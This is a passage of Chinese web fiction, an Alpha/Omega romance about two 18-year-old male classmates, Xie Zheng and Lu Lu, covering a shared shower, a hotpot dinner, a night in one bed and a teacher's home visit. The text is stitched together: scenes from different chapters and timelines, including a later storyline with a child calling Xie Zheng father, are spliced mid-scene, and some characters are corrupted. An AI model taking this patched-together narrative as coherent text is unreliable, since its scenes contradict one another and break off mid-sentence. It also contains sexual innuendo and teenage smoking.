顶a浴室被咬哭.avi,发网上肯定能火。 视线流氓地下移,谢铮非常正经地评判,路鹿平时肯定健身了,或者练过什么,不然达不到今天那个身手。 肌肉均匀不夸张,带着力量感和青年的美感…… 靠了,居然是粉色的。 白皮都是粉的? 谢铮低头看了眼,顿住,半晌,跳过了这个话题。 “同桌。”路鹿忽然开口。 谢铮眼神挪到一半,心虚得好悬把眼珠子瞪出来,缓了缓才说:“迷眼睛了要爹爹给吹吹?” “没有,”路鹿吹干净头发上的泡沫,睁眼看向他,嘴角闪过戏谑,“身上快被烧出窟窿了,别看了。” 被点破谢铮反而坦然了,不要脸惯了,当即指指点点:“你是不是身上长眼睛了,还有你嘴唇挺好看,腰上那是刀伤吗,后背那道挺深啊,让人捅了?” “你还真是……”路鹿没忍住乐了,“一点儿也没客气。” “客气什么,屋里除了我就你一个喘气的,我不看你看水么,”谢铮往花洒下走,“完事儿了走,我这边忍得很痛苦。” 可以玩手机啊。 路鹿咽下这句话,往旁边挪了两步。 浴室不算小,但他们俩都快一米九了,长胳膊长腿的,挪这两步跟没动似的,谢铮刚站到花洒下面一甩胳膊拍路鹿腰上了。 两个人都是一愣。 然后谢铮一脸探究实则臭不要脸地摸了两把,“啧。” “这是什么评价?”路鹿弹了他手腕一下。 “你这个疤,”谢铮收回手,“怎么长的像个桃。” 路鹿看了眼,他还真没注意过,现在跟着谢铮的想象力走,还真有点像……带跑偏了。 “我这个像西瓜,”谢铮侧过去,指了指自己腰上的疤,有一条剪刀豁开的线形和一个戳出来的圆形,“还是带西瓜藤的。” 路鹿想起谢铮卧室衣柜上粘着的桃子毛绒玩具和书桌上的西瓜,好像明白他的想象力是从哪来的了。 “你说的我都馋了。”路鹿笑了声。 “馋了?”谢铮打湿头发,挤了洗发水随意揉了揉,“冰箱里只有苹果,等夏天西瓜便宜,现在还挺贵呢。” “是吗。”路鹿靠着墙,随口说。 “是,”谢铮被反噬了,洗发水流进眼睛,他手欠,还揉了一下,现在辣的睁不开,“嘶……毛巾递我一下。” “迷眼睛了?”路鹿转头找,杆上毛巾挂了五条,“哪个是你的?” “深蓝的。”谢铮说。 路鹿走过去拿过毛巾,又走到他面前,“抬头。” “嗯?”谢铮下意识抬头,眼睛忽然被按上毛巾,轻轻蹭了蹭。 “好点儿了么?”路鹿问。 谢铮抓住毛巾胡乱擦了擦,这个年纪的少年体温都偏高,就算闭着眼睛路鹿的存在感也很强,他随口说:“你再凑近点儿咱俩能拼个刺刀。” 一句无心的话,说出来两个人都不对劲儿了。 “不好意思。”路鹿后退好几步。 热量离开的特别明显,谢铮突然通感了路鹿的超能力,Alpha的第六感告诉他,路鹿在看他。 淦,原来这么明显,那他刚才观光似的看了一通路鹿岂不是都知道? 哦吼,垂死病中惊坐起,小丑竟是我自己。 浴室温度愈发折磨人,沾水的身体难免燥热,若有若无的信息素丝丝缕缕地从两个人的后颈处弥散开。 谢铮觉得这样下去不行,那天在考场好歹还有条裤子,今天光溜溜的,真起来了他一百张嘴也说不清。 虽然我是,但我对你不是……你听我解释,这是正常的反应,虽然咱俩型号不正常……兄弟,拼个刺刀? 他胡乱擦了擦,往旁边走了两步:“我完事儿了,你冲吧。” “这么快?”路鹿走过来。 “换个形容,”谢铮抽出毛巾擦脑袋,“或者添个主语。” “洗的这么快。”路鹿说。 谢铮迅速擦完套上睡衣,穿上裤子才觉得有了点儿安全感,套完上衣路鹿也冲好了,两个人悠闲地开始,狼狈地结束,出去的时候都没说话。 “被罩被套前天换的,”谢铮给他倒了杯水,“我去洗俩苹果。” “嗯。”路鹿坐到床上,摸了摸橘猫抱枕。 厨房,谢铮边洗苹果边反省。 是不是憋太久了,仔细想想上回自给自足还是上个月的事儿吧……操,都记不清了。 荤素不忌就这点不好,跟哥们儿洗澡都能洗出反应来,多出息。 一手一个苹果走进卧室,屋里的情景让他一愣。 谢成第站在门口,好奇又警惕地瞪着屋里的人,路鹿站在床边,冲他傻弟弟笑得特别温和。 “哟,谁啊?这谁啊?”谢铮拿手背怼了怼谢成第脑袋,“大半夜上我屋干什么来了,一个人睡觉害怕得哥哥搂着讲故事?” 说完不等谢成第发火给路鹿介绍:“我弟,谢成第,长得像吧?” “太像了,”路鹿笑了,看着谢成第的大眼睛和小卷毛,“小号的你。” “我有这么傻逼么?”谢铮缺德地说,指了指路鹿,给谢成第介绍:“这是你哥的同桌,叫路鹿,路勤的路,义无反鹿的鹿,算了你语文不及格……你可以叫路哥,也可以叫鹿哥,也可以叫路鹿,还可以叫——” “我不叫。”谢成第别扭地后退了一步,有点不好意思。 他没想到大哥还有这么像好人的朋友,看着他笑的时候比大哥还像哥。 “不叫就不叫,脸红什么,”谢铮看着他手里的棉花糖,“东西放这吧,我等会儿吃。” “不,不是给你的!”谢成第手往后背了背。 “是吗,”谢铮走到床边拉着路鹿坐下,递给他一个苹果,“那我屋里这几年隔三差五出现的零嘴儿是田螺姑娘送给我的?这位不及格同学,你是立志分化成Omega了么,真是志向远大!” 说完啪啪鼓了鼓掌。 谢成第脸涨的通红,看看他哥,看看路鹿,最后恼羞成怒地一把摔掉棉花糖,转身跑了出去。 “小暴脾气,”谢铮乐了声,下床捡起棉花糖拍了拍,扯开,往路鹿眼前送了送,“吃么?” 路鹿拿出一个放到嘴里,微微皱眉:“好甜。” “这个牌儿的不算甜,”谢铮一次往嘴里放俩,吃完又问了一遍,“我俩是不是特别像?” “是,”路鹿看了他一眼,“头发都一样。” 谢铮关上门,转头问:“你弟弟呢?那个双胞胎。” “什么?”路鹿挑了挑眉。 谢铮觉得他对自己会问这些早有预料,真神奇,神奇鹿鹿。 和神奇鹿鹿说话非常省事,所以他也没考虑合不合适,反正不合适路鹿就会避开,直接问:“你俩长得像么?” “不像,”路鹿靠在床头,“异卵双胞胎,不说看不出是兄弟。” “哦,”谢铮走到床那边,坐下了,“他比较得宠啊。” “是啊,比我听话多了。”路鹿说。 “比你还听话?”谢铮服了,“你都这个德行了,他是机器人么?” “你不是很了解我么,”路鹿无奈地看着他,“怎么还能问出这种问题。” “哦……”谢铮说,“我以为你和你爸你妈也演的挺好。” “总有受不了的时候,”路鹿轻声说,“我也不是机器人啊。” 谢铮皱了皱眉,没说话。 “你呢?”路鹿问。 谢铮顿住。他对几乎所有事都无所谓,因为有所谓就意味着你需要去解决、去面对那些事儿,他嫌麻烦。但唯独这件事,他不想让别人知道。 尽管他知道在这件事里他就是个彻头彻尾的受害者。 他扫了眼路鹿。 路鹿表情坦然地看着他,这份坦然给他一种发自内心的轻松的感觉——你可以说,也可以不说,我都能理解。 啊,神奇鹿鹿。 “我也有个双胞胎弟弟。”谢铮听见自己说。 “你们兄弟三个?”路鹿问。 话题开了个头,谢铮忽然松了口气。 一直扎在心口的刺被狠狠拔了一下,没掉,但很爽,有种和刺宣战:“老子宁可疼死也不愿意习惯你”的爽。 “是,”他看着自己的手,张开又攥上,“18岁的我,10岁的谢成第,6岁的谢成元。” “嗯?怎——”路鹿猛地止住了话头,非常敏感地意识到不对,没继续问。 谢铮心底其实是希望他问的,不过都到这步了,不问他也可以继续说。 “死了,早就死了。” 轻飘飘的一句话,刺被狠狠拽住,鲜血喷涌,疼得想哆嗦,却爽爆了。 路鹿沉默了半晌,问:“你,希望我说什么?” “你这么聪明我应该给你洗俩苹果,”谢铮感慨,过了会儿,点了点他手背,“说‘跟你有个屁的关系啊,他自个儿作死’。” 路鹿看着手背上的手指,轻声重复:“和你没有关系,他自己作死。” 谢铮把自己的苹果也递给他:“我愿称你为神奇鹿鹿。” 虽然气氛不太合适,但路鹿还是没忍住,扑哧笑了:“这是什么称呼,好的坏的?” “夸你呢,”谢铮伸了个懒腰,按亮手机,“十一点半了啊,你几点睡觉?” “十点之前。”路鹿说。 “这么早?”谢铮看他,眯了眯眼睛,“不写作业?” “十二点之前。”路鹿改口。 “平衡了,”谢铮三两口吃完棉花糖,甜食永远是治愈心情的法宝,“我给你找找备用牙刷,我记得上次好像剩了一个。” 路鹿想起客厅坐着的谢妈,他和谢铮洗完澡出来还在坐着,问:“阿姨要在客厅睡吗?” “半夜自己就回去了,招魂儿呢,”谢铮从衣柜底下翻出一个备用牙刷,“你用这个吧。” “好。”- 谢铮日记 [七年前] 参加婚礼 两个都有在外面包养小情人的人在舞台上哭着互相说我爱你 恶心 红烧肉不错 第 57 章 第 57 章 第57章 年末的节日总是很多。 圣诞节之后又到了元旦。 谢迹受街上热闹的气氛影响,很兴奋,两眼一睁就是期待。 12月31日那天晚上,谢迹问谢铮:“爸爸,我真的已经,过了两次,元旦节嘛?” 大早上吃火锅的确实少,整个店里只有他们俩。 谢铮随便挑了个地方坐。 服务员把菜单递给路鹿,路鹿又递给他。 “我不忌口,你请客你随便点吧。”谢铮又推了回去。 跟周折雨他们出来吃饭的时候他也不点菜,给什么吃什么。 “好巧,我也不忌口,”路鹿翻开菜单,和服务员说:“汤底要全辣,菜——” “哎哎哎,”谢铮拦住他,“我不忌口,除了不吃辣。” 路鹿看向他,不知道为什么开始笑,不出声那种,但是眼睛都笑弯了。 “笑什么,”谢铮啧了声,不知道他不能吃辣有什么可笑的,敲了敲桌子,“点菜,人家等着呢。” “嗯,”路鹿缓了缓,压下眼角的笑意,才说:“汤底要……鸳鸯的,菌汤行么?” “可以。”谢铮说。 路鹿点菜荤素搭配,非常合理,除了能吃辣之外口味和他差不多——对各种丸子不感兴趣,盯着肉和菜点。 菜很快上齐,他们俩一人半个锅开始涮。 热气蒸腾着往上飘,俩人中间隔了个水帘洞似的。 店里放的歌很舒缓,是他手机里播放率比较高的那类。 我们曾在田野里歌唱~在冬季盼望~却没能等到阳光下~这秋天的景象~ 吃饭的时候谢铮愿意主动说两句话聊聊天,特别是火锅这种适合热闹的饭,但今天他心情实在不算好,如果不是眼前坐着个大活人陪他一起吃,他还会更不好。 所以他在等路鹿主动说话。 两个人永远比一个人强,没碰见路鹿的话他这会儿肯定会把周折雨喊起来,陪他吃饭。 最后一盘肉卷送上来,俩人一人一筷子涮到锅里。 谢铮扫了路鹿一眼。 路鹿应该是属于吃饭了就不说话的类型,对这种饭桌上的沉默习以为常,能看出家教很好,或者说家教森严。 饮料上来的时候路鹿主动接过,给他倒了杯酸梅汤。 谢铮喝了一口,凉劲儿顺着喉咙一路冰到胃里,他刚想感慨一句“这酸梅汤冷冻室里拿出来的吧”,一抬头发现路鹿低头默默喝着,脸上一点“好凉啊”的表情都没有。 为了不让自己显得特别傻逼,他紧紧闭上了嘴。 两个人在沉默里一边走向灭亡一边干灭亡前的最后一顿饭。 心一跳~爱就开始煎熬~每一分~每一秒~“你听老师一句劝,做人不是只有成绩最重要,我们还要学会社交,情商智商一样都不能少,特别是你这种顶级Alpha,更需要一个好的情绪控制力,当然我不是说你没有情商,你是不用……” 谢铮通过上一学期的磨合,已经和老李形成了“你说你的我不听我的”的完美相处模式,闻言掏出手机点开个刷题软件开始刷。 老李探头看,他的物理题…… “你这次就算给我个面子,你俩好好相处——”老李苦口婆心。 “从高二你接手这个班到现在,我给你的面子都够绕地球三圈儿了,你问韩主任,他也才两圈儿。”谢铮说。 老李满脸忧愁,好像学生的事比他自个儿的事还愁人,不解决不用活了。 “你放心吧,”谢铮点着手机,“我肯定好好向他学习,争取和他做最好的学习伙伴,天天形影不离,他干什么我干什么,把他当成我亲儿子那么对待……” “那……行吧,”老李叹了口气,“你也别回去了,在我这儿坐着吧,回去还得罚站。” 他也不知道这次谈话成功没有,谢铮答应他的事十件里得有八件反悔,这孩子干什么都随心情来,但本质不是个坏孩子,就是家里…… 谢铮刷完一套题,谢光瞥见老李办公桌上的一份转|学|生|资|料。 两寸照片上的男生没戴眼镜,一张脸在他这都算“很”帅,只不过笑容有些刺眼。 像只无害的猫。 他眯了眯眼睛,脑海里闪过路鹿擦身坐到他旁边的瞬间,鼻息间若有若无、普通Alpha几乎分辨不到的血腥味。 啧,好学生。 下课铃打响,生物老师气势汹汹地点了几个没写作业的拎去办公室审问,走到门口对着全班同学喊了句:“让谢铮晚上之前写500字检讨交上来!臭小子!” 路鹿指尖的笔转了一圈。 让谁告诉? 全班同学短暂地安静了一瞬,而后该干嘛干嘛,很明显对这种事习以为常了。 路鹿没急着收拾生物书,托着下巴打量同桌的桌面。 几张A4纸随便铺着,有些空白,有些用狂野的笔迹写满了“豆浆、可乐、豆乳盒子、麻辣烫、盖浇饭、抹茶毛巾卷……”,还画了不少圈。 被圈中最多的是豆浆和毛巾卷。 看来他同桌是一个对吃很有研究精神的人。这点他们应该会有共同语言。 门口一阵嘈杂,路鹿抬头,一个梳着高马尾的女生走进来,抱着一沓卷子喊:“英语作业提前发了,都收好了,老师明天上课讲!” “几张啊课代表?” “三张!” “我擦!” 卷子从前往后传,传到路鹿手里只剩下三张。 “同学,我们桌缺一套。” 前桌是个戴着厚镜片的锅盖头男生,闻言转头跟他说:“铮哥的作业都在老李那儿,放学之前老李统一给他。” 还挺特别。 “为什么?”路鹿问。 “因为铮哥从来不听课,也不用听课,”钱小羽推了推眼镜,眼神里几分与有荣焉,“他上课也用不着这些卷子,放桌子上不出一天全能弄丢了,第二天交作业交不出来只能罚站,老李知道后就替他收着了。” 路鹿微微挑眉。这位同学说起他同桌的时候眼底全是掩饰不住的崇拜,和他旁边的那位完全不同。 那位是恐惧。 店里的音乐好像都看出他俩的绝境了,非常应景地放了首《煎熬》。 最后谢铮先受不了了,虽然看不出来,但他其实是一个喜欢热闹的人。 他最不爱自己一个人待着,随便跟狐朋狗友窝哪都比一个人瘫着强,常年戴着耳机也只希望耳边有点动静,别安静下来。 这种饭桌上的沉默要不是路鹿这张脸特别养眼下饭,他可能已经掀桌子走了。 他拿玻璃杯磕了磕桌子,瞅着路鹿,说:“说话。” 路鹿看向他:“你好。” “靠,”谢铮扑哧乐了,也不知道为什么能因为这一句话突然想笑,“你也好。能说点儿别的吗,咱俩吃断头饭呢?这么悲怆。” “我习惯了,不好意思。”路鹿也跟着笑。 谢铮没忍住多看了两眼,路鹿这么轻松地笑起来还真是……惊为天人的。 人真是对美好事物没一点儿抵抗力。 “刚说的加一条吧,”谢铮说,“谢谢和不好意思多没诚意,直接下跪吧。” “嗯,也行,”路鹿喝了口酸梅汤,眼底带笑地看着他,“你给我跪么,在这儿?是不是影响不太好。” 谢铮竖了个中指,从锅里捞出几片肥牛,蘸了蘸酱,送到嘴边的时候忽然说:“昨天,你是故意去那儿的吧。那是个死胡同,你去哪儿都没必要经过。” 所以路鹿是故意去混混出现率高的地方,为了碰见混混……揍一顿? 这也太伟光正了。 不是疑问句,路鹿手上的动作顿了顿,笑着问:“什么?” “别跟我装,”谢铮看了他一眼,吃掉肥牛,咽下去才说:“你在我这儿,没有秘密。” 都是一个山头的的大灰狼,跟他讲什么动物世界。 “哇哦,”路鹿替他把饮料续上,满脸夸张的惊讶,“好可怕。” “哎,我是不是坏你好事了。”谢铮看着他,忽然兴致勃□□来。 路鹿这个人,和他身上的秘密,都让谢铮忍不住琢磨。 他自己都觉得他是没事干闲得慌。 谁让他突然碰见了路鹿这个稀有品种,不仔细研究研究都对不起资源。 路鹿低头喝水,笑了笑,不置可否。 谢铮懂了,心情不错地喝了口水,得寸进尺地说:“我一直想问,你信息素是什么。” 他指了指桌子,“你要是说了,这顿饭我请。” 他不是好奇心特别重的人,因为信息素这个东西他想知道太容易了,随便压一下都能让对方露馅儿。 路鹿是第一个他压不住的。 想不好奇都难。 “不至于。”路鹿摇头,唇角也弯着。 谢铮捞了勺碎成渣渣的土豆,没再问。 他确实比较惯着自己,但对方不想说的情况下他也不愿意死缠烂打。 他讲道理。 谢铮正打算换个话题重新热场,空气里的火锅味忽然全部消失。他动作猛地顿住。不是火锅味没有了,是他的感官被罩住,他感受不到了。 周围取而代之的是沉稳宁静的某种信息素,熟悉又陌生……然而不等他仔细确定,感觉再次变化,天翻地覆的变化……压抑、暴力、血腥,让人呼吸不自觉收紧,眼前猩红…… 一放即收。 路鹿什么都没发生似的给他捞了一勺完整的土豆,放到他碗里。 “行了,别和老子在这儿大眼瞪小眼的。”谢铮说:“吃饭了没?” “我……”谢里说:“我等下有聚餐。就是顺便过来看一眼,现在准备走了。” 他去穿好了外套,对谢铮点点头就转身离开了。 “雪莉叔叔,拿走了一块小积木。” 谢迹依依不舍地看着门口,软软地说:“可是红色的恐龙最厉害了,爸爸,你能不能帮帮我,用蓝色的和雪莉叔叔换,拜托拜托。” 第 58 章 第 58 章 第58章 在谢迹恳求的眼神里,谢铮给谢里打了个电话,把已经开车拐出去很远的谢里又叫了回来。 谢里:“……我真有事呢。就一积木,我晚点儿让人给你送回来不行么?” 他把手里的红色积木扔给谢迹,又从桌上抓了两块蓝色的积木,一路小跑着走了。 “两块。”谢迹倒吸一口凉气。 不过红色积木的回归让谢迹很幸福,他抓着积木亲亲:“我一个,雪莉叔叔两个,因为我厉害。” 洗漱完从浴室出来,正撞上老妈。 谢铮打了个哈欠,挡住路鹿,一直目送着老妈目中无人地回主卧关上门才动。 “没唬你,这不自个儿回去了。”他说。 路鹿无奈地点点头,估计是被老妈这幅魔障了似的状态惊着了。 “你睡左边右边?”谢铮站在床边问路鹿。 他床放屋中间,不靠墙,按他自己的习惯左右没区别,因为他爱睡中间。 “左边吧。”路鹿说。 “行吧,”谢铮把被铺开,给他打预防针,“我睡觉可能不太老实,你忍忍。” “有多不老实?”路鹿掀起一角躺了进去。 “周折雨有次在地上睡了半宿,”谢铮也躺进去,又打了个哈欠,“个傻逼掉地上都没醒。不过我也没醒。” “那我可得小心点儿了。”路鹿笑了声。 Alpha的领地意识会让他们在私密空间不自觉释放信息素,充满自己气息的地方才会让他们有安全感。 所以整间卧室,都被淡淡的橘子汽水味包裹着。 特别是被里,躺进去像陷进橘子山,全是果味儿清香。 这种不夹杂攻击性的浓郁的Alpha信息素很难得,因为大多数时候释放信息素的契机都是本能的防御或者攻击。 谢铮应该是真困了,没一会儿就呼吸均匀地从平躺变成了面对着他侧躺。 路鹿顺着他微卷的发梢看向窗帘,淡蓝色夹杂白色云朵图案的布料透着淡淡的光——雨晴了,月亮出来了。 他闭上眼睛,感受着比出租房里软了不知道多少倍的被,思绪逐渐飘远。 或许他也应该买一床柔软的被,床垫也需要……还需要一瓶橘子汽水味的香水……应该没有一模一样的香水,顶级Alpha的信息素哪能轻易被模仿…… 睡意笼罩,路鹿半睡半醒间开始做梦。 梦里他在橘子堆里散步,偶尔吹过一阵凉风都挥洒着橘子汁的味道,惬意地拂过脸颊……突然,一个比他还大的橘子从天而降,一下砸到他胸口上…… 路鹿睁开眼睛,使劲眨了眨才看清眼前的情景。 谢铮不知道什么时候滚了过来,一胳膊砸在他胸口,摸了两下之后紧紧搂住。 路鹿:…… 这张双人床大小挺标准的,他们两个虽然高了点儿,但也不至于很挤……可能谢铮习惯一个人睡大床了,更习惯……他看了眼被扔在桌子上的橘猫抱枕,更习惯搂东西睡觉。 走神的功夫谢铮已经蹬鼻子上脸地又伸出只手摸到他脸上了,还掐了掐…… 路鹿扒开他手,推了他肩膀一下,这一下直接把人推醒了,抡起胳膊砸了过来。 路鹿瞳孔一缩猛地抬手挡住,呼吸都急了。 这一下要是砸下来,他可能就得连夜修鼻梁去了。 “干什么?”伤人未遂的凶手还挺不高兴,皱眉眯着眼睛看他。 “你抱的我喘不上气儿了。”路鹿叹气。你还差点撒了我的鼻梁。 谢铮愣了愣,好一会儿才反应过来,迷迷糊糊地坐起来,下床的时候还差点自己给自己绊个跟头,在路鹿忍不住想下床扶他的时候终于走到桌子那儿拿了橘猫抱枕,顺利返回,背对着他躺下,含糊地说:“不好意思,习惯了。” 没两分钟,呼吸重新均匀,又睡着了。 没关系,你家你是老大。 路鹿在心里原谅了房主,抻了抻被,盖住自己,再次闭上眼睛。 橘子堆还是那个橘子堆,他继续在里面悠闲地散步,心情愉悦,步履轻快……只是当那个比他还大的橘子再次砸到身上的时候没忍住叹了口气。 胸口的胳膊沉甸甸地压着,搂的还挺用力,路鹿睁眼,微微抬头往那边看了看。 抱枕在床边摇摇欲坠,马上要掉地上的状态,下一秒被谢铮一脚踹了下去。 这算始乱终弃么。 路鹿唇角勾了勾。 但马上他就笑不出来了。 谢铮胳膊一紧,整个人再次靠近,几乎贴在他身上,睡衣是夏天的短袖短裤,胳膊腿挨在一起的温度让人想不多想都难。 谢铮还嫌不够似的,脑袋凑到他脖子上,鼻尖蹭了蹭。 路鹿深吸口气,强忍着把人踹下去的冲动。 开开玩笑还可以,真要把后颈交给一个睡得不省人事的同等级Alpha,他还没失智,干不出这种傻逼事儿。 谢铮睡得特别熟,但睡颜看起来和睡眠质量完全相反,皱着眉,不知道梦见什么了,还吧唧了一下嘴。 路鹿觉得后颈凉飕飕。 都是alpha,对彼此的咬合力太清楚了。 他又推了推谢铮肩膀。 这次谢铮醒的也很快,但是没抡胳膊,眼睛都没睁,被吵醒两次,起床气特别大地翻了个身:“下次我再抱你你特么抽我俩嘴巴子,困死了操……” 搂人的先生气了,路鹿好脾气地摇摇头。 等了得有五分钟他才敢闭眼睛,几乎同时听见了翻身的声音,路鹿迅速睁开眼睛掀开自己身上的被裹在谢铮身上,困住他胳膊腿,然后手脚并用地抱住被团,保证两个人是贴着的。 果然没醒。 路鹿松了口气。 看来他的手感比抱枕好多了,毛绒爱好者谢铮同学不搂着都睡不好了。 没安分一会儿,谢铮开始折腾,路鹿搂着被团,睡意全无地看着他折腾。 折腾了一脑门汗,谢铮终于挣扎出一条胳膊,一秒没犹豫甩到了路鹿身上,然后开始摸。 路鹿是真的累了,又好笑又好气的。 谢铮说他睡觉不老实,他还没当真,如果可以穿越回几个小时前,谢铮问他“要不要来我家”时,他可能要多考虑几分钟。 小孩儿睡觉也没这么不老实。 不知道谢铮和周折雨睡觉的时候是不是也这样。 周折雨都掉地上了,应该不是。 谢铮从腰摸到后背又摸到胸口,最后停在肩膀上,按了按,不动了。 谢天谢地。 路鹿闭了闭眼。 他今年不用体检了,谢铮这一通乱摸让他某个地方非常健康地有了反应。 检验谢铮是不是真的睡熟了这段时间,路鹿安静地看了会儿他的脸。 是帅的,而且是嚣张的帅,丹凤眼看人天生附带上位者的气质,放在谢铮脸上就有气场double的效果,只不过睡着了就什么都没了,像个没吃着糖的小孩儿,皱着眉。 路鹿无声地笑了笑,伸手在他脑袋上揉了揉。 微卷的发梢意外地很软,比毛绒玩具还软。 谢铮是被热醒的,往常会很烦躁的起床气因为鼻息间淡淡的檀香化去不少,迷迷糊糊地睁开眼睛,入目的超大特写帅脸让他愣了好几秒。 他定睛一看,傻了。 这特么是一根麻花吗,缠得这么紧。 “卧槽。”他小声喊了一句,实在是没经历过这么刺激的早上,无处表达。 以前跟周折雨那一帮睡觉也没这样过,昨天让路鹿叫醒两回他以为不能有第三回 了…… 事实证明睡着了的人没有可信度。 “嗯……”路鹿揉了揉眼睛,声音里浓浓的睡意,眼神迷离地看向他,“早上好。” “啊……好,”谢铮摘开俩人缠在一起的胳膊腿,坐了起来,没忍住摸了摸他脑袋,“哎哟,还活着呢,我没把你勒死吧?” 路鹿忍不住笑,早上的状态很温柔,嗓音有点哑:“我也不是反抗不了,怎么可能勒死。” “那就好,”谢铮靠在床头,“杀人犯法,差点儿交代了。” “你是指什么?”路鹿侧过身,托着下巴看他。 谢铮还处在自己搂着路鹿睡了一宿这个震惊世界的事实里无法自拔,闻言愣了下才反应过来:“靠,开车啊。” 他指了指路鹿埋在被里的下半截,顺路就飙:“我是指这个。” 路鹿也是个职业选手,闻言也指了指他下半截,笑着问:“你没有?” “没有就出事儿了,”谢铮没掀被,给彼此留了最后一点面子,“给我十分钟冷静冷静。” 都是18岁发育正常的青年Alpha,早晨有点状态太正常了,不起来才不正常。 “理解,”路鹿说,“我也需要。” 谢铮够了包烟,往嘴里放了根,又递给路鹿:“要么。” “吸烟有害健康。”路鹿懒洋洋地说。 谢铮抽出一根,说:“啊——” 路鹿笑了声,张开嘴跟着啊,谢铮把烟放他嘴里,拿打火机点着了:“同归于尽吧同桌。” “你就是班里我没写作业你们也别想写的那类人。”路鹿单手撑着床坐起来,靠在了他旁边。 两个人沉默地抽着没有事后的烟。 “几点了?”路鹿看着窗帘上的光,觉得不太对。 谢铮屋里没有挂钟,之前那个让谢成第整坏了,他点开手机看了眼:“……九点半?操,这么晚了。” 路鹿也愣了:“我还……没睡过懒觉呢。” 谢铮看他:“谁拦着你了?” 路鹿叹了口气:“我自己吧。” “抖m啊。”谢铮笑得幸灾乐祸。 “造谣一张嘴啊。”路鹿也笑。 “要证明给我看么?”谢铮说。 “可以么?”路鹿看他。 “你可以试试。”谢铮点头。 “我觉得我们十分钟后再试比较好。”路鹿意有所指地看了看他下半截。 “哦~”谢铮一脸我懂,撞了他肩膀一下,低声说:“怕我给你抽射了啊?” “你真的……”路鹿没忍住笑了半天,看了他好一会儿才继续说:“想研究的话说两句好听的就行,不用非得这么欠揍地说话,我脾气特别好,一般不生气。” 谢铮拿烟的手碰了碰他手背:“抽我烟了,欠我的,快点儿。” “学以致用啊,不愧是年级第二。”路鹿鼓了鼓掌。 “我不激怒你你能别贱嗖地招我么,”谢铮被底下的腿踢了踢他脚背,“欠我人情呢,利索点儿。你知道这一根烟多少钱么,三块钱!” “来了。”路鹿弯着嘴角说。 红色的信息素从后颈处悄然扩散,尽管没有侵略感血腥味还是非常霸道地瞬间盖过了房间原本的橘子汽水。 谢铮吹了个口哨。 下一秒橙红色铺天盖地的重新覆盖,把红色死死压在路鹿周围的一小片范围内。 “不许动。”谢铮按住路鹿的胳膊。 “你这属于欺负人。”路鹿抽了口烟,但还是维持着淡淡的浓度,缩小在这一点范围里,任由谢铮研究。 Alpha接受不了身边有大量其他Alpha信息素存在,类似于族群里只能有一个雄性,谢铮也不例外,只不过他仗着自己等级高,压着难受也想好好研究研究路鹿的信息素。 啧,研究不明白。 按理说就算第一种变异了,也不能变出完全不搭边的第二种,檀香和血腥味…… “为什么两种?”对神奇鹿鹿说话不需要拐弯抹角,谢铮直接问。 “不知道。”路鹿说。 “哦。”谢铮瞅了他一眼。 “真的不知道,”路鹿笑了,“真的。” “不用说了,”谢铮按住心口,“信了,发自内心地信了。” “你——”路鹿说到一半微微皱眉,看向门口,有点犹豫地说:“我怎么,听见老李的声音了?” 隐约还有谢妈的声音,但没有老李的声音高,路鹿感觉自己幻听了。 “啊,”谢铮说,“老李今天来家访。” “昨天怎么没说?”路鹿看他。 我特么忘西边去了。 “被你见义勇为的光辉形象震撼了,”谢铮下床,“没鹿得上说。” 路鹿紧跟着下来。 他们俩现在可以说是极其衣衫不整,缠麻花似的睡了一宿现在看着哪哪都不对劲,明眼人一看就能看出来,虽然他们俩确实清清白白。 谢铮拉开衣柜,看了一圈,“你自己挑吧,都差不多。” 路鹿从一排差不多的运动服里选出一身黑的。 两个人匆忙地往身上套,谢铮感觉他俩像偷了一晚上情早上被老爸堵在屋里试图掩饰的少男少男…… 换完衣服,谢铮一抬头,对上路鹿。 哦吼,德芙你回家了啊? 一模一样的运动服就两套,他俩拿着了,偷情石锤了这是。 穿着情侣装推门出去的时候谢铮正听见老妈说:“折腾一晚上了,也没个消停,现在还睡呢,和一个叫路鹿的。” 谢铮:“……” 雷神之锤。 他咳了一声。 老李看过来,一眼扫见路鹿,愣了:“路鹿?你真在这儿啊!” 不等路鹿说话,老李已经特别让人省心地畅想了一出同学友爱的大戏,笑着说:“你俩昨晚一起复习来着?” “学什么习,”谢铮没忍住乐了,搂住路鹿肩膀,“下象棋,我俩下象棋。” 路鹿看了他一眼,跟着笑,但没反驳。 老李哪懂他们这些小黄梗,还附和:“象棋好啊,我也爱下,有空咱们可以切磋一下。” “别了,”谢铮一脸不可描述地摆手,“您省省吧,我下不去嘴。” 他边说边走到沙发后面,按住老妈的肩膀,拍了拍,笑得意味深长:“你俩好好聊,我们就不打扰了。” 老妈僵了僵,碍于昨晚儿子的警告,没出声反驳。 谢铮满意地勾了勾唇角,又冲老李说:“对了,明天上午我不去学校了。” “怎么了?有什么事儿?”老李问。 “有,”谢铮说,“事儿就是我想逃课了。” 说到这他看了眼路鹿。 “老师,明天我也要请假。”路鹿笑着说。 “啊?你有什么事?”老李傻了,开班会第一第二都不来这算怎么回事儿。 “明天家里人过来。”路鹿睁眼说瞎话。 老李还要问,谢铮拽住路鹿的胳膊:“这个话题结束了。你们聊吧,好好聊,不许动手。” 说完拽着人跑了,老李话都没来得及说。 路鹿很久没说话,谢铮就带着点儿笑意等他开口。 司仪用高亢的声音说了什么,礼堂的方向传来众人哄笑的声音,很大声。 在这样的一片鼎沸的笑声里,谢铮听到路鹿带着点儿哭音,但是听起来很幸福的声线:“……谢叔叔,可是我还没到二十二岁。” 谢铮:“………………” 妈的。 妈的妈的妈的,他倒是把这茬儿给忘了。 他阴森地压低声线:“臭小子,你还没老子的狗大。” 第 59 章 第 59 章 第59章 谢铮在家里待到初七才回去。 谢迹开心又不开心的,开心是回去之后能看到路鹿,不开心是这边很热闹,每天都有很多人过来,包括谢里在内的所有人,看到谢迹就往他手里塞吃的,谢迹整个人都被喂圆了一点。 那个男人从婚后已经搬进来和孟海瑛同居,但谢铮也没怎么和他说过话,沉默寡言的男人,在家里像影子一样,倒是和谢进德给谢铮的感觉有点像,不过男人比起谢进德更拘谨些。 谢铮把谢迹抗在肩膀上:“走了。” 孟海瑛站在门口,帮谢铮整理了一下衣服。 她手指扯扯谢铮衣领,又帮谢铮正了下前襟的扣子。 五岁那年的路夏,那个时候他父母都出去甜蜜旅游了,就把他托付到隔壁路家。 两家是世交,双方老爷子都是在战场上有着过命的交情,连带着后一代都成了好兄弟、商业上的伙伴。 五岁的谢铮还是个小糯米团子,一张娃娃脸特别水嫩,用稚嫩的口音一口一个“姨姨”叫得路阿姨心都快软了,他想要的几乎都是有应必求。 